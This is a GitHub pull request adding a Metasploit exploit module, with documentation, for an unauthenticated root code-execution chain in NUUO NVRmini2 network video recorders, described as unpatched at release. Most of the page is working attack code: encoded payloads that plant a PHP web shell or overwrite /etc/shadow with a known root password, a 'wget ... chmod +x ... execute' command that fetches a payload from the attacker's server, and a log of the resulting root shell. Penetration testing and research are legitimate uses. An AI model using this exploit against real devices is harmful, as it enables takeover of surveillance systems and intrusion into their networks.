Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for NUUO NVRmini2 zero day unauth RCE as root #16044

Closed
wants to merge 13 commits into from
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
## Vulnerable Application
NUUO's [NVRmini2](https://nuuo.com/ProductNode.php?node=2#) is a Network Video Recorder (NVR) produced by [NUUO Inc.](https://nuuo.com)
As with most NVR, it has terrible security and has been hacked multiple times, the [very first one by me](https://seclists.org/fulldisclosure/2016/Aug/36) back in 2016 with [command injections and a stack overflow](https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo-nvr-vulns.txt).
A [Metasploit module from 2016](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb) is available to exploit this old vulnerability.

Six years later, it's time to pwn it again, by abusing an insecure user update mechanism and a very old path traversal vulnerability to execute code as root! This vulnerability has been reported to NUUO *multiple times* and despite their attempted fixes, it's still an `0day` at the time of release of this exploit.

It is recommended to read the [full advisory](https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd) for more details.

## Verification Steps
Example steps in this format (is also in the PR):

1. Start the NVRmini2
2. Start msfconsole
3. Do: `use [module path]`
4. Do: `set rhost <TARGET>`
5. Do: `set lhost <YOUR_IP_ADDRESS>`
6. Do: `run`
7. You should get a shell.

## Scenarios
```
[*] Started reverse TCP handler on 192.168.241.1:4444
[*] 192.168.241.61:80 - Uploading initial payload...
[+] 192.168.241.61:80 - We now have root access via /shelly.php, using it to deploy payload...
[*] 192.168.241.61:80 - Starting up our web service on http://192.168.241.1:4445/hWICscieDptfuL ...
[*] Using URL: http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Asking the device to download and execute http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Sending the payload to the device...
[*] Sending stage (903360 bytes) to 192.168.241.61
[+] Deleted /NUUO/web/shelly.php
[*] Meterpreter session 5 opened (192.168.241.1:4444 -> 192.168.241.61:40979 ) at 2022-01-07 23:14:29 +0000
[+] 192.168.241.61:80 - Shell incoming!
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 14664 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
uname -a
Linux NVR 2.6.31.8 #1 Thu Oct 11 09:18:12 CST 2018 armv5tel GNU/Linux
cat /etc/titan.conf
[Version]
Kernel=2.6.31.8.0006
MIN_Kernel=2.6.31.8.0000
OS=03.11.0000.0016
MIN_OS=01.06.0000.0113
NVR=03.11.0000.0016
MIN_NVR=01.06.0000.0113
(...)
NVRReleaseDate=20211110
(...)
```

### Targets

This exploit has two targets: one for firmware versions v2.0.0 and above (v3.11.0 is the latest at the time of writing).
This version works by deploying a web shell to `/NUUO/web/shelly.php`, which is then used to download and execute our payload.
The second target is for firmware versions v1.7.6. For these versions, the webshell doesn't work, and instead we overwrite the `/etc/shadow` file.
After this overwrite, you can login with `root:YouHaveBeenOwned`. For older versions, it is recommended instead to use [Metasploit module from 2016](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb), as it works more cleanly.

NOTE: this module uses these two hardcoded methods (web shell and shadow file overwrite) because the target has some custom encryption that needs to be applied to the uploaded file.
This custom encryption was not reversed due to laziness, but feel free to do it you're up to it! Check [the advisory](https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd) for more details.
213 changes: 213 additions & 0 deletions modules/exploits/linux/http/nuuo_nvrmini_unauth_rce_r2.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,213 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'

# This payload drops a PHP webshell in /NUUO/web/shelly.php, which is accessible at http://<TARGET>/shelly.php
# All commands run as root.
WEBSHELL = "AQQBAAAAAY2ht2HWPMNyYfcyiJZNK5gKAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEqI6vO285g9jTEJnLEU6uSfcaGFVrwSo/Gh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZigHXDsYRIYy\n+6mcjLV1eyEipS/L+9SPBBXbxc+bBbgIn6TxryLXtq/JB+2f8YRaLlPKX2wN\nVPsjr3tjxkSMQ1AyaYXm13+X8l4kUmJ2jLy/zaP7YkOgCk+KB/0g4kv3lGzo\n1T7ZGsVP/fisUASdgKydD3uRdDtNyZ/rR+eBAM+0EzqeUqi+Oh67iFQvDOge\nVhbpOqntJ9sCm89wC9Ob6+nZ8grzr1QMHSfT6uezTPRAlfnjrc1a1KSoxEan\ncqUWbyDGs4D6Mj1q7uABwfdfd6/3GrijS1E4P6so9xz8ESP92l0xwFjL+GuB\niEATYe5Thq/0jkAhwb4I1LDrYXwp/QA6oGw8SrZ4yxGU5FX9+xoyBq4n/lBh\neWd9yXykGw7vxEV7cCwp7U/1wLrNlCC2NQnNV3SffELVw1ogzMM02UVWhWTn\nJubMuzX4VZQdhswNBdo1qfTo+8VO3Qa1se9kuWEhP8SNry1EiILqnEZCDXE2\nbu3BprHzRvJxQsd+kwL2MeIPKd/Z0Mc6l+LGjfQzqykaQsd+kwL2MeJCx36T\nAvYx4kLHfpMC9jHiQsd+kwL2MeJCx36TAvYx4kLHfpMC9jHi".freeze

# This payload resets the admin password to "password" and sets the root password to "YouveBeenOwned".
# The root user can login via SSH, but the admin user can only login to the web interface.
SHADOW = "AQQBAAAAAzwl09cIC9ag56ZTkKaxa3dnAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEuN9iwvYtp59dUGEtUO8U99Ttlh0YKWXfGh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZii/qgDZp5Pk\nRqmcjLV1eyEiQD6Gt2yglcb0zCk7lQYyBRcVW3dtcou+KKtadakh3tIlMZgY\nFXptlfGRapDAKOxI9Ov0/6TR656mJz0ju+2fm4oOMmwB9EXaYn9TO2lDn3kk\niXwkWlEOA9S3fposo6Setd7v83RYJmlIWuLtcRXpRin2jyGsnj1bvck2wZPg\nPVAlqnklN2NWpxBlOnovGaeydwes5q6T4F0bKKJvI9WXWsLGJZ/RKfHpEwgi\nG35CVF5/1XyOmr07gPi0hURw/aRIvHbEM6PdXecunZBS0z/JFP4ROpdfDSGS\n4/2S2v1ba9BmUOEAxxxjb+AuaYlgrIKYOPn5fQ9ECNpceneS5pxWZSEuTShp\nR8Viv1QdPkeQGMugdK+PR0uQtIplXhCTHB/6qOtT6h4pssekcyrewDZGFDVI\nbcRh7lL9ngK/nTtNnWbzuOq0RHL0G/IIof0Prgkxy0eO68QYB4deL03ew+BZ\nHKfNwVOEm56OxQaJQnbOp4tPBy4OqEYSSGwQPIjf/s0+VnqLHZyeFNRDJ7Na\nTFioz6JWb+IRqKcp5NRAGij/76tHGelfWJBPZhclKuH8G8ZETTU3FqZxtlX3\nB+hrl945YAt1w7Pk5Y81JMf7BFcDOq/qiinOzBZ3epm+pe2kzeuX6Of6MisQ\nKnlPa+jn/MwGwYV6oHzrgX1e5XvAEeGhGA8Z7z5t+ashXs1RQSElN+MppKdx\niRc8GMZoCHIluGeHYuYjPB6xvNUUfaWjWolrABpytkux0oc/7ioIvSv7Yl1J\nsxMRCgsW6292+ZDwE9se4a6m/BY8jrcOX5x2gR7n/DHcVBUKn26Aolfw5yzj\nmCrhK/Pe4pFmymkSWgLY9U6tzVKI5k3MtpnsJYZqr98WD9WlXBYRUtotTltl\nIYEBg4V1rQKgaO5iX087powFDlozQyQlf0EBkaenBASC5iy0XNAjmEk5E4wP\nQU7mA1GXA1wWEVnXHRsPKFmj00yolmta+tFoxrCcSZ8Kq4v8bJYF4LKmnhCA\niww/CP27t1a3kAgyeORIej+8ebJ+ICxgRlxwE/yM1xZ08wt5/IzXFnTzC3k2\nvyoBasJssVtJxtJldxBo".freeze

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'NUUO NVRmini 2 / NVRsolo Unauthenticated Remote Code Execution (2022)',
'Description' => %q{
NUUO's NVRmini2 recorder contains a chain of flaws that allow an unauthenticated
attacker to execute code as root in all publicly released firmware versions.
The first link in the chain is an unauthenticated file upload, which gets decrypted
and then untar'ed. During the untar process we abuse the second flaw, a very old
directory traversal in busybox's tar to drop a file in /NUUO/web/shelly.php.
This contains a web shell that we use to download and execute our payload as root.
The web shell is deleted after we receive our beatiful reverse shell.
Note that the web shell technique is for firmware v2.0.0 and above.
For firmware v1.7.6 and below, we instead overwrite /etc/shadow to change the root
password, after which you can login via SSH with root:YouHaveBeenOwned.
While these two firmware targets (>= v2.0.0 and <= 1.7.6) are provided in this module,
for the older firmware (<= 1.7.6) it is recommended to use nuuo_nvrmini_unauth_rce.rb
Metasploit module from 2016 instead, as it is more reliable.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' => [
['CVE', '2022-23227'],
['CVE', '2011-5325'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd'],
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Targets' => [
['NVRmini2 v2.0.0 and above', {} ],
['NVRmini2 v1.7.6 and below', {} ],
],
'DefaultTarget' => 0,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2022-01-12',
'Notes' => {
'Stability' => CRASH_SAFE,
'Reliability' => ARTIFACTS_ON_DISK,
'SideEffects' => REPEATABLE_SESSION
}
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Application path', '/']),
OptString.new('SRVHOST', [true, 'IP address for the HTTP server', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'Port for the HTTP server', '4445']),
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
'method' => 'GET'
})
if res && (res.code == 200) && res.body =~ (/There was an error uploading the file/)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Unknown
end
end

# request handler for our web server
def on_request_uri(cli, _request)
print_status("#{peer} - Sending the payload to the device...")
@pl_sent = true
send_response(cli, @pl)
end

def payload_prep
# payload prep
@pl = generate_payload_exe
@pl_sent = false
resource_uri = '/' + rand_text_alpha(10..15)

# do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => resource_uri
}
})

datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")

filename = rand_text_alpha_lower(rand(2..9))
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
sleep 3
cmd
end

def send_cmd(cmd)
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'shelly.php'),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
})
res
end

def exploit
# select our target and payload
if target == targets[0]
payload_enc = Base64.decode64(WEBSHELL)
else
payload_enc = Base64.decode64(SHADOW)
end

# create post data to be sent to the server
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alpha(5..12),
nil, nil,
'form-data; name="tmp_name"')
post_data.add_part(payload_enc,
'application/octet-stream', 'binary',
"form-data; name=\"upload_file\"; filename=\"#{rand_text_alpha(6..10)}\"")

print_status("#{peer} - Uploading initial payload...")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

if res && (res.code == 200) && res.body !~ /wrongfile/
# it should return "import user: open imported user file failed"
# if it returns "import user: wrongfile" then we failed

if target == targets[0]
# if this is a WEBSHELL target, verify that shelly is there...

res = send_cmd('whoami')
if res && (res.code == 200) && res.body =~ (/root/)
# use shelly to deploy final payload, and remove it afterwards

print_good("#{peer} - We now have root access via /shelly.php, using it to deploy payload...")
register_file_for_cleanup('/NUUO/web/shelly.php')
send_cmd(payload_prep)

counter = 0
until @pl_sent
sleep 1
counter += 1
if counter > 60
fail_with(Failure::Unknown, "#{peer} - Failed to get the device to download the payload...")
end
end

print_good("#{peer} - Shell incoming!")
handler
else
fail_with(Failure::Unknown, "#{peer} - Failed to get root with shelly")
end
else
# otherwise just let the user know that we're done!
print_good("#{peer} - /etc/passwd uploaded. You can now login via SSH with following credentials:")
print_good("#{peer} root:YouHaveBeenOwned")
print_status("#{peer} - Note that the admin user password has also been reset to the default \"password\"")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload initial payload")
end
end
end